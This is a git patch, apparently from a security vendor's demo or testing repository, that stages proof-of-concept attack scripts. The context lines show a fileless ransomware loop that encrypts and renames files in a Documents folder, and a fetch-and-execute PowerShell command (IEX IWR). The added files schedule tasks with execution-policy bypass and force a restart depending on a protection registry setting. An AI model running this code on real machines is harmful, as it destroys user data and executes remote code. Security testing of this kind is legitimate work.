From 28ce179040029dae9c1ef40d4ff29e394133fe49 Mon Sep 17 00:00:00 2001
From: Andrew Mundell <andrew.mundell@sophos.com>
Date: Sat, 23 Apr 2022 14:06:30 -0400
Subject: [PATCH] AJM

---
 .DS_Store                              | Bin 6148 -> 6148 bytes
 atomicredteam                          |   2 +-
 outlook.py => backups/outlook.py       |   0
 scheduledtask => backups/scheduledtask |   0
 filelessransomware                     |   2 +-
 poc-eap_watcher.ps1                    |  11 +++++++++++
 poc-stage2.ps1                         |   4 ++++
 poc-stage3.bat                         |   4 ++++
 requirements.txt                       |   2 +-
 9 files changed, 22 insertions(+), 3 deletions(-)
 rename outlook.py => backups/outlook.py (100%)
 rename scheduledtask => backups/scheduledtask (100%)
 create mode 100644 poc-eap_watcher.ps1
 create mode 100644 poc-stage2.ps1
 create mode 100644 poc-stage3.bat

diff --git a/.DS_Store b/.DS_Store
index 90aebef67a19df22eb350cfedca626bcf2410f6f..1a4c00715281588fa2d2ab82a4a87a84ca6bf06e 100644
GIT binary patch
delta 146
zcmZoMXffEJ#uWSDI|Bm)3xgg*IzuKyNp8N2OHxjL5>Sj|qnw$aHP;bGRQVLV@&y@&
z!O8i#1wcIv49pKEH!~?RsVtbhj7g3~VQu;G$?urNCf{S?fpJtA9X1Oxe_`3o&heKY
E0K!%%H~;_u

delta 147
zcmZoMXffEJ#uR(|1_J{F3xgg*IzuKyNp8N2OHxjL5>Sj|?XtJB)?7y%QRP$c$`@o9
z1}Ep|76A1yFfcEe+{~oN#K16l8Iv4~X>^s#<abPBlkYL{z&I+K)tMi#Oe_%H%+B$b
F9{^Q?D1iU~

diff --git a/atomicredteam b/atomicredteam
index 4e081c2..910fb1d 100644
--- a/atomicredteam
+++ b/atomicredteam
@@ -3,4 +3,4 @@ Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force;
 Install-Module -Name invoke-atomicredteam,powershell-yaml -Scope CurrentUser -Force; 
 IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicsfolder.ps1' -UseBasicParsing);
 Install-AtomicsFolder;
-Invoke-AtomicTest All -Confirm:$false;
+Invoke-AtomicTest All -Confirm:$false;
\ No newline at end of file
diff --git a/outlook.py b/backups/outlook.py
similarity index 100%
rename from outlook.py
rename to backups/outlook.py
diff --git a/scheduledtask b/backups/scheduledtask
similarity index 100%
rename from scheduledtask
rename to backups/scheduledtask
diff --git a/filelessransomware b/filelessransomware
index 6966fba..0bc3ed6 100644
--- a/filelessransomware
+++ b/filelessransomware
@@ -12,4 +12,4 @@ return ,$fullData};
 foreach($f in Get-ChildItem 'C:\Users\Sophos\Documents') {Get-Content -path $f.fullname -TotalCount 1; 
 rename-item -path $f.fullname -newname ($f.fullname + '.0wnd'); 
 [IO.File]::WriteAllBytes(($f.fullname + '.0wnd'), (Encrypt-String $key ([IO.File]::ReadAllBytes($f.fullname + '.0wnd')))); 
-start-sleep -s 4}
+start-sleep -s 4}
\ No newline at end of file
diff --git a/poc-eap_watcher.ps1 b/poc-eap_watcher.ps1
new file mode 100644
index 0000000..6b626af
--- /dev/null
+++ b/poc-eap_watcher.ps1
@@ -0,0 +1,11 @@
+Function eapcheck {
+$keyPath = "Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Sophos\Management\Policy\ThreatProtection\*\amsi_protection"
+$keyVal = "amsi_protection_block_on_detect"
+$check = Get-ItemProperty -Path $keyPath | Select $keyVal
+write-host $newCheck.$keyVal
+if($check.$keyVal -eq 0) {
+schtasks /delete /tn "POC EAP Watcher" /F
+Restart-Computer -force
+}
+}
+eapcheck
\ No newline at end of file
diff --git a/poc-stage2.ps1 b/poc-stage2.ps1
new file mode 100644
index 0000000..8732f8f
--- /dev/null
+++ b/poc-stage2.ps1
@@ -0,0 +1,4 @@
+schtasks /create /sc onlogon /tn "POC Stage 3" /tr "c:\threat\poc-stage3.bat" /ru Sophos /F
+Start-Process c:\threat\SophosSetup.exe --quiet -Wait
+schtasks /delete /tn "POC Stage 2" /F
+schtasks /create /sc minute /mo 1 /tn "POC EAP Watcher" /tr "C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -ExecutionPolicy Bypass c:\threat\poc-eap_watcher.ps1" /ru System /F
\ No newline at end of file
diff --git a/poc-stage3.bat b/poc-stage3.bat
new file mode 100644
index 0000000..877bdad
--- /dev/null
+++ b/poc-stage3.bat
@@ -0,0 +1,4 @@
+start "" /B "C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE"
+taskkill /im outlook.exe /f
+"C:\Program Files\Python310\python.exe" -m pip install -r c:\threat\requirements.txt
+"C:\Program Files\Python310\python.exe" c:\threat\{|vars.PythonStager|}
\ No newline at end of file
diff --git a/requirements.txt b/requirements.txt
index 5814718..263334d 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -10,4 +10,4 @@ pywinauto==0.6.8
 pywinauto-recorder==0.5.0
 six==1.16.0
 uiautomation==2.0.16
-WMI==1.5.1
+WMI==1.5.1
\ No newline at end of file